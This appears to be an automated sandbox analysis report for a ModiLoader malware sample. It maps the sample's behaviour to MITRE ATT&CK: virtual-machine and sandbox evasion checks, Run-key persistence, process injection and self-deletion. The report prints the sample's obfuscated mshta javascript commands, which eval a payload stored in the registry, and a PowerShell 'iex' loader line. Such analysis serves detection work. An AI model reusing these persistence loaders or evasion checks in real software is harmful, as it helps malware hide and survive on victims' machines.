modiloader | b2e580936468414e204e9da4fd5c0b2b5719c3a6af5bb2796d29e061cfa872cc

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs

evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

description	ioc	Process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 54 IoCs

resource	yara_rule
behavioral1/memory/1700-7-0x0000000000400000-0x000000000046A000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-9-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-13-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-14-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-12-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-11-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-10-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-18-0x0000000000400000-0x000000000046A000-memory.dmp	modiloader_stage2
behavioral1/memory/1552-25-0x00000000061C0000-0x0000000006280000-memory.dmp	modiloader_stage2
behavioral1/memory/1552-28-0x00000000061C0000-0x0000000006280000-memory.dmp	modiloader_stage2
behavioral1/memory/304-31-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-32-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-33-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-36-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-35-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-34-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-40-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-39-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-38-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-37-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-44-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-43-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-42-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-41-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-45-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/2932-49-0x00000000001B0000-0x0000000000270000-memory.dmp	modiloader_stage2
behavioral1/memory/2932-54-0x00000000001B0000-0x0000000000270000-memory.dmp	modiloader_stage2
behavioral1/memory/2932-53-0x00000000001B0000-0x0000000000270000-memory.dmp	modiloader_stage2
behavioral1/memory/2932-52-0x00000000001B0000-0x0000000000270000-memory.dmp	modiloader_stage2
behavioral1/memory/2932-51-0x00000000001B0000-0x0000000000270000-memory.dmp	modiloader_stage2
behavioral1/memory/2932-50-0x00000000001B0000-0x0000000000270000-memory.dmp	modiloader_stage2
behavioral1/memory/304-57-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-72-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-75-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-74-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-73-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-71-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-70-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-69-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-68-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-67-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-66-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-65-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-64-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-63-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-61-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-60-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-59-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-58-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-62-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-56-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-55-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-76-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/304-78-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:w8cLDQ8HQ=\"WkeMYKW\";jE5=new%20ActiveXObject(\"WScript.Shell\");OxSQxm49=\"oyB\";SU9Z3V=jE5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\35658840dd\\\\b64cc699\");mXM4c7WxII=\"IHAlcT\";eval(SU9Z3V);ToAKz2kX=\"UqQ\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
304	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:tWkHXJIz6=\"UQ032hD2J\";z6a=new%20ActiveXObject(\"WScript.Shell\");pUGI4CeWw=\"rL2Oic\";c4Kn6O=z6a.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\35658840dd\\\\b64cc699\");SgmEyfV4A1=\"S\";eval(c4Kn6O);VmWZi9m7=\"m2n08j\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Gor7euxG3L=\"8AE4b88y\";Fk6=new%20ActiveXObject(\"WScript.Shell\");S8tEIGq8U=\"ItBm69mWw\";w0LbT=Fk6.RegRead(\"HKCU\\\\software\\\\35658840dd\\\\b64cc699\");Dz0UDAPH=\"fbU\";eval(w0LbT);C8u6BTnmtP=\"3\";"	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1552	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b2e580936468414e204e9da4fd5c0b2b5719c3a6af5bb2796d29e061cfa872cc.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1552	powershell.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1552	powershell.exe
1552	powershell.exe
1552	powershell.exe
304	regsvr32.exe
304	regsvr32.exe
304	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1552	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 1552	2500	mshta.exe	32
PID 2500 wrote to memory of 1552	2500	mshta.exe	32
PID 2500 wrote to memory of 1552	2500	mshta.exe	32
PID 2500 wrote to memory of 1552	2500	mshta.exe	32
PID 1552 wrote to memory of 304	1552	powershell.exe	35
PID 1552 wrote to memory of 304	1552	powershell.exe	35
PID 1552 wrote to memory of 304	1552	powershell.exe	35
PID 1552 wrote to memory of 304	1552	powershell.exe	35
PID 1552 wrote to memory of 304	1552	powershell.exe	35
PID 1552 wrote to memory of 304	1552	powershell.exe	35
PID 1552 wrote to memory of 304	1552	powershell.exe	35
PID 304 wrote to memory of 2932	304	regsvr32.exe	36
PID 304 wrote to memory of 2932	304	regsvr32.exe	36
PID 304 wrote to memory of 2932	304	regsvr32.exe	36
PID 304 wrote to memory of 2932	304	regsvr32.exe	36
PID 304 wrote to memory of 2932	304	regsvr32.exe	36
PID 304 wrote to memory of 2932	304	regsvr32.exe	36
PID 304 wrote to memory of 2932	304	regsvr32.exe	36

C:\Users\Admin\AppData\Local\Temp\b2e580936468414e204e9da4fd5c0b2b5719c3a6af5bb2796d29e061cfa872cc.exe
"C:\Users\Admin\AppData\Local\Temp\b2e580936468414e204e9da4fd5c0b2b5719c3a6af5bb2796d29e061cfa872cc.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:1700

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:bD49nWwA="Cl1qeV";XH2=new%20ActiveXObject("WScript.Shell");Zt2aAaHp="I";I1xy2L=XH2.RegRead("HKLM\\software\\Wow6432Node\\19qXwvW\\o3zEKqNFXY");fPG5tZo4="QMrrel";eval(I1xy2L);Yd6koIF="o1JFNVdP";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:wilsur
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VirtualBox drivers on disk
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:304
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion